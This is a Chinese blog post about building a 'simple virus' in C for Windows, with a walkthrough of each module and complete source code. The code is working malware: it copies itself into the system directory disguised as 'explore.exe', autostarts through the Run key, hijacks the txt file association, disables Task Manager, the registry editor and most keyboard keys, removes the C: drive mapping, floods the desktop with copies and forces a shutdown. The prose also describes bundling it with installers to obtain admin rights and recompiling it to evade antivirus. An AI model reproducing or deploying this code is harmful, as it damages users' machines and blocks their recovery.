最近在做一个制作简易病毒的实验,查到了一篇大佬的文章,写的很详细,受益良多,这里先把大佬的文章附上:
https://blog.csdn.net/hbhgyu/article/details/77775926(C语言编写简易病毒)
实现原理是通过c语言修改注册表导致人工无法正常操作,下面参考上面那位大佬的实验流程复现一下:
1)增殖模块,使用windows系统自带的API函数SHGetSpecialFolderPath,获取当前用户的桌面路径;使用GetModuleFileName函数,获取当前执行程序的路径,最后通过Copyfile函数,完成自我增值。
BOOL SHGetSpecialFolderPath(
HWND hwndOwner, // 如果显示对话框或消息框,窗口的句柄,可用GetDesktopWindow API取一个窗口句柄或直接传NULL。
LPTSTR lpszPath, // 存放路径信息的缓冲区。这个缓冲区的大小必须至少为MAX_PATH字符。
int nFolder, // 标识要查询的文件夹的CSIDL
BOOL fCreate // true: 如果文件夹不存在则创建,false: 不创建
);
DWORD GetModuleFileName(
HMODULE hModule, // 指向模块的句柄,NULL则指向当前进程程序
LPTSTR lpFilename, // 存放地址的指针
DWORD nsize // 装载到缓冲区的最大值
);
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件名
LPCTSTR lpNewFileName, // 目标文件名
BOOL bFailIfExists // true: 目标存在则改写,false: 目标存在则调用失败
);
2)注册表修改模块,修改注册表相关键值,实现让病毒程序开机自启动、禁用任务管理器、禁用注册表编辑器、修改桌面背景图片以及屏蔽用户键盘输入为数字1的功能,主要使用到的API函数为:RegCreateKey、RegSetValueEx、RegCloseKey。
LONG WINAPI RegCreateKey(
_In_ HKEY hKey, // 要打开项的句柄,或者一个标准项名
_In_opt_ LPCTSTR lpSubKey, // 欲创建的新子项
_Out_ PHKEY phkResult // 指定一个变量,用于装载新子项的句柄
);
LONG RegSetValueEx(
HKEY hKey, // 一个已打开项的句柄,或指定一个标准项名
LPCTSTR lpValueName, // 指向一个字符串指针,包含了欲设置值的名称
DWORD Reserved, // 保留值,必须强制为0
DWORD dwType, // 指定被存储的数据类型
CONST BYTE *lpData, // 指向一个缓冲区,包含了欲为指定值名称存储的数据
DWORD cbData // 指向由IpData参数所指向的数据的大小
);
LONG RegCloseKey(
HKEY hKey // 释放键的句柄
);
3)前台窗口隐藏模块,隐藏前台窗口,使用户无法正常操作,避免用户直接叉掉控制台程序导致病毒程序无法继续执行。使用GetForegroundWindow()函数获取前台窗口的句柄,使用ShowWindow函数,隐藏当前句柄指示的窗口。
4)注册表检测模块,第一次运行病毒程序注册表并没有被修改,此时运行病毒程序执行注册表修改模块,但是当计算机重新启动之后,注册表已经被修改了,那么就没有必要重新运行一遍注册表修改操作(也没有相应的管理员权限),所以加上一个检测任务管理器是否被禁用的模块。
5)破坏感染计算机的盘符模块,使桌面快捷方式以及菜单栏的图标都指向无效的连接,只用重启之后才能恢复(所以我在开机自启动之后再执行一次)。
BOOL WINAPI DefineDosDevice(
__in DWORD dwFlags,
__in LPCTSTR lpDeviceName, // 设备名称字符串
__in LPCTSTR lpTargetPath // 指向路径字符串
// DWORD dwFlags,该函数的控制标志,可取下列值:
// DDD_EXACT_MATCH_ON_REMOVE ,确保不会删除未声明的对象
// DDD_NO_BROADCAST_SYSTEM, 设置 WM_SETTINGCHANGE消息的状态为不发送。(默认情况下,该消息状态为发送)
// DDD_RAW_TARGET_PATH, 使用lpTargetPath参数
// DDD_REMOVE_DEFINITION, 删除指定设备声明;
);
7)恶意代码隐藏和管理员权限获取:
弹窗以显示键盘和盘符已被破坏(重启后生效),使桌面和开始菜单上中全部变为无效的快捷方式,刷新后自动删除桌面文件,点击计算机窗口没反应:
在桌面产生垃圾文件,当达到指定拷贝次数后结束运行,但是当用户打开txt文件,由于实现了注册表关联,会导致病毒程序再次运行:
正常情况重启之后是没有管理员权限的,所以无法再次破坏系统盘符,但是我在虚拟机上使用管理员账户进行实验,重启后自启动自带管理员权限,就可以再次破坏系统盘符了(不过感觉无伤大雅,毕竟想要通过修改注册表恢复也需要通过键盘修改,但是键盘也被屏蔽了):
至此,一个简易的病毒的预先功能已基本实现。
通过本次实验编写一个简易病毒,学会了如何通过c使用文件操作API、注册表修改API、磁盘盘符修改API等windowsAPI函数来修改注册表以及将自己拷贝到系统目录路径。同时学会了能够通过自解压的方式来将可执行程序与正常安装程序捆绑,进行恶意代码的隐藏并骗取管理员权限。普通用户重启之后的自启动无法获得管理员权限,但是管理员用户重启之后可以。此外,该病毒无法绕过杀软的检测以及清除(包括win10自带防火墙),通过二次编译的方式或许可以绕过个别杀软。本次实验编译环境是vc++6.0,编译环境的不同可能需要修改部分代码。
#include
#include
#include
#include
#include
#include
#include //SHGetSpecialFolderPath()所属头文件
#include
#include
#pragma comment(lib,"urlmon.lib")
//病毒的增殖模块,产生垃圾文件,要实现无限增殖只需要在主函数加一个循环
void Reproduce()
{
char name_str[100] = {0};
int name;
srand((unsigned)time(NULL)); //随机数种子
name = rand() % 1024;
itoa(name, name_str, 16); //将随机数转化成字符串
TCHAR szpath[MAX_PATH];
GetModuleFileName(NULL, szpath, MAX_PATH); //获取当前执行程序的路径
char target[100] = {0};
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); //获取桌面绝对路径
strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);
//为增殖产生的文件创建进程
//STARTUPINFO si = { 0 };
//si.cb = sizeof(si);
//PROCESS_INFORMATION pi;
//CreateProcess(target, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
//注册表修改实现开机自启动,同时在系统文件目录下创建拷贝文件
void RegKeyStart()
{
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
char SystemPath[512];
GetSystemDirectory(SystemPath, sizeof(SystemPath)); //获取系统目录路径
strcat(SystemPath, "\\explore.exe");
CopyFile(str, SystemPath, false);
DWORD len;
HKEY hkey;
len = strlen(SystemPath);
RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
RegSetValueEx(hkey, SystemPath, 0, REG_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
/*创建代码实现文件关联,也就是只要打开txt文件就执行当前用户程序,使用txt方式触发
*/
LPCTSTR data_set = "txtfile\\shell\\open\\command";
RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);
RegSetValueEx(hkey, NULL, 0, REG_EXPAND_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
}
//注册表修改实现禁用管理器
void RegTaskmanagerForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现禁用注册表编辑器
void RegEditForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现更换桌面背景
void RegModifyBackroud()
{
DWORD v = 1;
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
strcat(str, "hacked.jpg");
URLDownloadToFile(NULL, "https://images.alphacoders.com/509/thumb-1920-509367.jpg", str, 0, 0);
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", 0, REG_SZ, (unsigned char *)str, sizeof(str));
RegSetValueEx(hkey, "WallpaperStyle", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
}
//注册表修改屏蔽用户键盘输入
void RegKeyBoardForbidden()
{
HKEY hkey;
char scancodemap[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00"
"\x02\x00\x10\x00"
"\x02\x00\x11\x00"
"\x02\x00\x12\x00"
"\x02\x00\x13\x00"
"\x02\x00\x14\x00"
"\x02\x00\x15\x00"
"\x02\x00\x16\x00"
"\x02\x00\x17\x00"
"\x02\x00\x18\x00"
"\x02\x00\x19\x00"
"\x02\x00\x1E\x00"
"\x02\x00\x1F\x00"
"\x02\x00\x20\x00"
"\x02\x00\x21\x00"
"\x02\x00\x22\x00"
"\x02\x00\x23\x00"
"\x02\x00\x24\x00"
"\x02\x00\x25\x00"
"\x02\x00\x26\x00"
"\x02\x00\x2C\x00"
"\x02\x00\x2D\x00"
"\x02\x00\x2E\x00"
"\x02\x00\x2F\x00"
"\x02\x00\x30\x00"
"\x02\x00\x31\x00"
"\x02\x00\x32\x00"
"\x00\x00\x00\x00";
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", &hkey);
RegSetValueEx(hkey, "Scancode Map", 0, REG_BINARY, (LPBYTE)scancodemap, 120);//scancodemap数组长度为120字节
RegCloseKey(hkey);
MessageBox(NULL, "破坏键盘成功!", "Error", MB_OK);
}
BOOL DeleteDrive(const TCHAR *SThide)
{
if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, ""))
return false;
else
return true;
}
int main(int argc, char** argv)
{
//FreeConsole();
HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
//以下代码用于检测任务管理器是否被禁用
BOOL Revised=0;
HKEY hkey;
long ret0, ret1;
LPCTSTR data_set = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
LPCTSTR psName = "DisableTaskMgr";
TCHAR ValueInfo[100];
DWORD cType;
DWORD ValueSize = sizeof(ValueInfo);
ret0 = RegOpenKeyEx(HKEY_CURRENT_USER, data_set, 0, KEY_READ, &hkey);
ret1 = RegQueryValueEx(hkey, psName, NULL, &cType, (LPBYTE)ValueInfo, &ValueSize);
if (ret0!=ERROR_SUCCESS||ret1 != ERROR_SUCCESS)
{
printf("not Revised!\n");
Revised = 0;
}
else if (!strcmp(ValueInfo, "\x01\x00\x00\x00")) {
Revised = 1;
}
else {
Revised = 0;
}
RegCloseKey(hkey);
int i;
if (!Revised) //如果任务管理器没有被禁用执行如下操作
{
RegKeyStart();
RegTaskmanagerForbidden();
RegEditForbidden();
RegModifyBackroud(); //修改桌面背景
RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入
Sleep(5000);
if (DeleteDrive("C:"))
MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK);
DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "\\??\\C:\\winnt");
system("title 警告");
MessageBox(NULL, "计算机将于60秒内强制关机!", "Error", MB_OK);
system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""");
}
else {
MessageBox(NULL, "task manager has been forbidden!", "Error", MB_OK);
for (i = 0; i < 30; i++) {
Reproduce(); //产生垃圾文件,恶意增殖
Sleep(1000);
}
if (DeleteDrive("C:"))
MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK);
DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "\\??\\C:\\winnt");
}
return 0;
}
参考链接:
https://blog.csdn.net/hbhgyu/article/details/77775926(C语言编写简易病毒)
https://blog.csdn.net/u013815546/article/details/42214209(C语言修改注册表)
https://blog.csdn.net/weixin_30338481/article/details/95482413(Windows平台使用C语言在用户模式下注册表的增删改查)